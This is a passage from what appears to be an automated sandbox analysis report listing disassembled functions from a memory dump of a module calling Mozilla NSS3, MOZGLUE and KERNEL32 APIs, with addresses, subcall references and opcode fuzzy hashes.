PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6CE7CA77
PR_Unlock.NSS3(00000000), ref: 6CE7CAFC

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 398a8fa60da4c06afb5fe77360cd72ed2e2a9837944577e3d90d1d10d364e8a9
Instruction ID: 57a4ac850ab6876a6de6baea5b6f6c65ae3314db40de2bc37548925943192851
Opcode Fuzzy Hash: 398a8fa60da4c06afb5fe77360cd72ed2e2a9837944577e3d90d1d10d364e8a9
Instruction Fuzzy Hash: F741C175F002059BEF10EF64D841AAB7BB8AF45388F244128ED1AA7701EB30E911CBF1

Function 6CE5EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE5EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CE5EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CE5EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE5EEEB
free.MOZGLUE(?), ref: 6CE5EEF6

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: cb6cdb89cda972147af5d558ff8cf569069cd7d8ff4671ae47aefc27e0837d03
Instruction ID: ecf735f8fb1f22c328babcd0f9da1f4c2c067b5faea17440dfb33570d9071d9a
Opcode Fuzzy Hash: cb6cdb89cda972147af5d558ff8cf569069cd7d8ff4671ae47aefc27e0837d03
Instruction Fuzzy Hash: D931F5B1B10A009BE7209F2CCC457677BB4FB46308FA40529E95A87B50DB37E524CBE2

Function 6CE61DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE61E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE61E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE61E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE61E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE61EAD

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 54971b6800a44b099c255ce9db9cb50784888f07d83b570ceecaadc7be4450ad
Instruction ID: 2415b33c4a12626e2a38d9841a5453be62ecf4009cbf5505975e90728fa5ba82
Opcode Fuzzy Hash: 54971b6800a44b099c255ce9db9cb50784888f07d83b570ceecaadc7be4450ad
Instruction Fuzzy Hash: C0212572E54310ABD7028EA9DC40B8BB3B49B85768F244638ED6957B80E730D90887E3

Function 6CE6AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CE63FFF,00000000,?,?,?,?,?,6CE61A1C,00000000,00000000), ref: 6CE6ADA7

Part of subcall function 6CEC14C0: TlsGetValue.KERNEL32 ref: 6CEC14E0
Part of subcall function 6CEC14C0: EnterCriticalSection.KERNEL32 ref: 6CEC14F5
Part of subcall function 6CEC14C0: PR_Unlock.NSS3 ref: 6CEC150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CE63FFF,00000000,?,?,?,?,?,6CE61A1C,00000000,00000000), ref: 6CE6ADB4

Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC10F3
Part of subcall function 6CEC10C0: EnterCriticalSection.KERNEL32(?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC110C
Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1141
Part of subcall function 6CEC10C0: PR_Unlock.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1182
Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CE63FFF,?,?,?,?,6CE63FFF,00000000,?,?,?,?,?,6CE61A1C,00000000), ref: 6CE6ADD5

Part of subcall function 6CEBFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEB8D2D,?,00000000,?), ref: 6CEBFB85
Part of subcall function 6CEBFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEBFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF894B0,?,?,?,?,?,?,?,?,6CE63FFF,00000000,?), ref: 6CE6ADEC

Part of subcall function 6CEBB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF918D0,?), ref: 6CEBB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE63FFF), ref: 6CE6AE3C

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 390f77656fb7b892c84100c125a8b7448027b13d88a5b3738287eee00a4a2c18
Instruction ID: 76a227828114b6acbc517da38a4b40178f7630da591643d8ab3afa4bddef5d74
Opcode Fuzzy Hash: 390f77656fb7b892c84100c125a8b7448027b13d88a5b3738287eee00a4a2c18
Instruction Fuzzy Hash: 3B113871F502146BE7109BA69C41BBF73B8DF9524DF24462CEC1996B41FB20E95882E3

Function 6CEB8800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CEC085A,00000000,?,6CE68369,?), ref: 6CEB8821
TlsGetValue.KERNEL32(?,?,6CEC085A,00000000,?,6CE68369,?), ref: 6CEB883D
EnterCriticalSection.KERNEL32(?,?,?,6CEC085A,00000000,?,6CE68369,?), ref: 6CEB8856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CEB8887
PR_Unlock.NSS3(?,?,?,?,6CEC085A,00000000,?,6CE68369,?), ref: 6CEB8899

Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507AD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507CD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507D6
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDE204A), ref: 6CE507E4
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,6CDE204A), ref: 6CE50864
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE50880
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,6CDE204A), ref: 6CE508CB
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508D7
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508FB

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: a328fbd0b902bdcbe86541055bde90ebdea9585b915125ffbd66935e18922c27
Instruction ID: 6fc2cd88280db477b87e300ddfd57c71e236d7ae51992d7e647493a73a67904d
Opcode Fuzzy Hash: a328fbd0b902bdcbe86541055bde90ebdea9585b915125ffbd66935e18922c27
Instruction Fuzzy Hash: A1217CB4A046468FDB10AF78C58426ABBB4FF0630CF61466ADC94A7701EB34E595CB92

Function 6CE828A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE780DD), ref: 6CE828BA
EnterCriticalSection.KERNEL32(?,?,?,?,6CE780DD), ref: 6CE828D3
PR_Unlock.NSS3(?,?,?,?,?,6CE780DD), ref: 6CE828E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6CE780DD), ref: 6CE8290E
free.MOZGLUE(?,?,?,?,?,?,6CE780DD), ref: 6CE8291A

Part of subcall function 6CE79270: DeleteCriticalSection.KERNEL32(?,?,6CE85089,?,6CE83B70,?,?,?,?,?,6CE85089,6CE7F39B,00000000), ref: 6CE7927F
Part of subcall function 6CE79270: free.MOZGLUE(?,?,6CE83B70,?,?,?,?,?,6CE85089,6CE7F39B,00000000), ref: 6CE79286
Part of subcall function 6CE79270: PL_HashTableDestroy.NSS3(?,6CE83B70,?,?,?,?,?,6CE85089,6CE7F39B,00000000), ref: 6CE79292

Part of subcall function 6CE78B50: TlsGetValue.KERNEL32(00000000,?,6CE80948,00000000), ref: 6CE78B6B
Part of subcall function 6CE78B50: EnterCriticalSection.KERNEL32(?,?,?,6CE80948,00000000), ref: 6CE78B80
Part of subcall function 6CE78B50: PL_FinishArenaPool.NSS3(?,?,?,?,6CE80948,00000000), ref: 6CE78B8F
Part of subcall function 6CE78B50: PR_Unlock.NSS3(?,?,?,?,6CE80948,00000000), ref: 6CE78BA1
Part of subcall function 6CE78B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6CE80948,00000000), ref: 6CE78BAC
Part of subcall function 6CE78B50: free.MOZGLUE(?,?,?,?,?,6CE80948,00000000), ref: 6CE78BB8

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 1b317db7fb729e92ade6e13e952edbae698c3e95b3ca76a4e7268f53009d39b3
Instruction ID: 01b63b5e0d55cc9b0be6ad2fedaab5568ef425134397e2d7367486acd12b5971
Opcode Fuzzy Hash: 1b317db7fb729e92ade6e13e952edbae698c3e95b3ca76a4e7268f53009d39b3
Instruction Fuzzy Hash: A32139B5A04A058FCB10BF78C088569BBF4FF15318F114969DC9897700E734E895CBA2

Function 6CE509E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6CE506A2,00000000,?), ref: 6CE509F8
malloc.MOZGLUE(0000001F), ref: 6CE50A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE50A33

Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507AD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507CD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507D6
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDE204A), ref: 6CE507E4
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,6CDE204A), ref: 6CE50864
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE50880
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,6CDE204A), ref: 6CE508CB
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508D7
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508FB

PR_Free.NSS3(?), ref: 6CE50A6C
PR_Free.NSS3(?), ref: 6CE50A87

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: a494d501aebc2055be83f75445eab8840a367fe65108210331ea57c6451848ab
Instruction ID: faeba31a1b5241248ffe7295b929620f70a40c8f65d41e00a2f98cbb0634d712
Opcode Fuzzy Hash: a494d501aebc2055be83f75445eab8840a367fe65108210331ea57c6451848ab
Instruction Fuzzy Hash: 7A1124B9900B818BE7519F24C98075377B8BF4231CFE0592AF85682E02FB32F164C790

Function 6CE78FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CE80710), ref: 6CE78FF1
PR_CallOnce.NSS3(6CFC2158,6CE79150,00000000,?,?,?,6CE79138,?,6CE80710), ref: 6CE79029
calloc.MOZGLUE(00000001,00000000,?,?,6CE80710), ref: 6CE7904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CE80710), ref: 6CE79066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CE80710), ref: 6CE79078

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: f62651f91bfb05836217164d07f84d5529161116041e0d4f46b4bfcd362383c4
Instruction ID: 0eba0d6c31ee868c2163b1bbe172d47d21fccfde4282b676cf93855749c85237
Opcode Fuzzy Hash: f62651f91bfb05836217164d07f84d5529161116041e0d4f46b4bfcd362383c4
Instruction Fuzzy Hash: 1311CE61B2011157EB301AA9AC48A6A32B8EF827ACF600121FD84C7B80F797CD56D3B1

Function 6CE8CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CEA1E10: TlsGetValue.KERNEL32 ref: 6CEA1E36
Part of subcall function 6CEA1E10: EnterCriticalSection.KERNEL32(?,?,?,6CE7B1EE,2404110F,?,?), ref: 6CEA1E4B
Part of subcall function 6CEA1E10: PR_Unlock.NSS3 ref: 6CEA1E76

free.MOZGLUE(?,6CE8D079,00000000,00000001), ref: 6CE8CDA5
PK11_FreeSymKey.NSS3(?,6CE8D079,00000000,00000001), ref: 6CE8CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CE8D079,00000000,00000001), ref: 6CE8CDCF
DeleteCriticalSection.KERNEL32(?,6CE8D079,00000000,00000001), ref: 6CE8CDE2
free.MOZGLUE(?), ref: 6CE8CDE9

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 99ca87fc415ea1c1a94328ef4fcb7566b517ef7b0b2371e11e544040c6569dc6
Instruction ID: a2819b8f45249622e89d3534ef10a4c335a6dcac0d6dc2cf0fd0696811f46f5c
Opcode Fuzzy Hash: 99ca87fc415ea1c1a94328ef4fcb7566b517ef7b0b2371e11e544040c6569dc6
Instruction Fuzzy Hash: D211C2B6B02111ABDB00AFA5EC84A97B77CFF0525D7204221EA0DD7E41E732E424C7E1

Function 6CEF2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CEF5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEF5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEF2CEC

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

PR_EnterMonitor.NSS3(?), ref: 6CEF2D02
PR_EnterMonitor.NSS3(?), ref: 6CEF2D1F
PR_ExitMonitor.NSS3(?), ref: 6CEF2D42
PR_ExitMonitor.NSS3(?), ref: 6CEF2D5B

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 7c125f402c6a016ce4bc3c613eb881b06cb59bb58a28187c77fefe1df64df511
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: ED01C4B1A002445BE7309E65FC40BC7B7B5EF55718F104525E86987B20E737F91687A3

Function 6CEF2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CEF5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEF5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEF2D9C

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

PR_EnterMonitor.NSS3(?), ref: 6CEF2DB2
PR_EnterMonitor.NSS3(?), ref: 6CEF2DCF
PR_ExitMonitor.NSS3(?), ref: 6CEF2DF2
PR_ExitMonitor.NSS3(?), ref: 6CEF2E0B

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 53a9e33fdbe261f14ae7a3beb4145d9cdaf792ae403ee73b0fef26ebfad4275d
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: E801C4B1A002445BEB309E25FC01FC7B7B1EF61318F204435E86987B10D736F92696A3

Function 6CE8AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CE73090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE8AE42), ref: 6CE730AA
Part of subcall function 6CE73090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE730C7
Part of subcall function 6CE73090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE730E5
Part of subcall function 6CE73090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE73116
Part of subcall function 6CE73090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE7312B
Part of subcall function 6CE73090: PK11_DestroyObject.NSS3(?,?), ref: 6CE73154
Part of subcall function 6CE73090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE7317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CE699FF,?,?,?,?,?,?,?,?,?,6CE62D6B,?), ref: 6CE8AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CE699FF,?,?,?,?,?,?,?,?,?,6CE62D6B,?), ref: 6CE8AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE62D6B,?,?,00000000), ref: 6CE8AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CE62D6B,?,?,00000000), ref: 6CE8AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CE62D6B,?,?), ref: 6CE8AEA3

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: a160215319d31595668802566a01c8cb1d910a502a00b7ab4497d57fa1a5ea7f
Instruction ID: 9555be9b636f6366934e9609b669cf2a2b52fbe3f4f6e5f53772c0737c1aacff
Opcode Fuzzy Hash: a160215319d31595668802566a01c8cb1d910a502a00b7ab4497d57fa1a5ea7f
Instruction Fuzzy Hash: 1601F476B8201057E711952CAC85BBB31788B9765CF280835E90ED7B81FA25D98682B3

Function 6CF7BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

